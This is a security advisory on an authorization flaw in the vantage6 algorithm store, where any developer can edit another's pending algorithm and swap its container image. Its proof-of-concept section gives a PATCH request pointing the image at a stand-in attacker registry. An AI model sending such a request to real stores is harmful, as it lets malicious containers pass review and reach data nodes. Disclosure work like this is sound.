highJul 24, 2026

vantage6 Algorithm Store: Incorrect Authorization on Algorithm Edit Endpoint

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any authenticated algorithm developer in a vantage6 algorithm store can overwrite another developer's pending algorithm entry, including swapping the Docker image, so a malicious image can be…

Packagevantage6
Ecosystempip
Affected<= 5.0.2
vantage6 Algorithm Store: Incorrect Authorization on Algorithm Edit Endpoint

The problem

The algorithm store's PATCH endpoint for algorithms checks that the caller has the generic 'edit algorithm' permission, but never verifies that the algorithm being edited belongs to the requesting developer.

Because of this gap, any developer account can send a PATCH request for an algorithm they do not own. The worst-case outcome is replacing the image or image_tag field on a pending submission, so reviewers unknowingly approve a different container than the one they inspected.

Proof of concept

A working proof-of-concept for this issue in vantage6, with the exact payload below.

http
PATCH /api/algorithm/42 HTTP/1.1
Host: store.example.vantage6.ai
Authorization: Bearer <attacker_developer_token>
Content-Type: application/json

{
  "image": "attacker-registry.io/malicious-algo",
  "image_tag": "latest"
}

The algorithm store resource handler applies a role/permission check ('can this user edit algorithms?') but stops there. It does not compare algorithm.developer_id against the authenticated user's id before allowing the write.

The fix must add an ownership guard, for example: if algorithm.developer_id != current_user.id: abort(403). Until that check is present, the permission scope is effectively global for any developer role, matching CWE-863 (Incorrect Authorization). No patch and no public PoC have been released; the payload above is derived directly from the advisory description and the known vantage6 algorithm store REST API structure.

The fix

No official patch has been released as of the advisory publication. As a workaround: restrict the 'edit algorithm' role to trusted administrators only, or audit the algorithm store for unexpected image changes before approval. Monitor GHSA-47w6-gwp4-w6vc for an updated patched version above 5.0.2.

Reporter not attributed.

References: [1][2]

Related research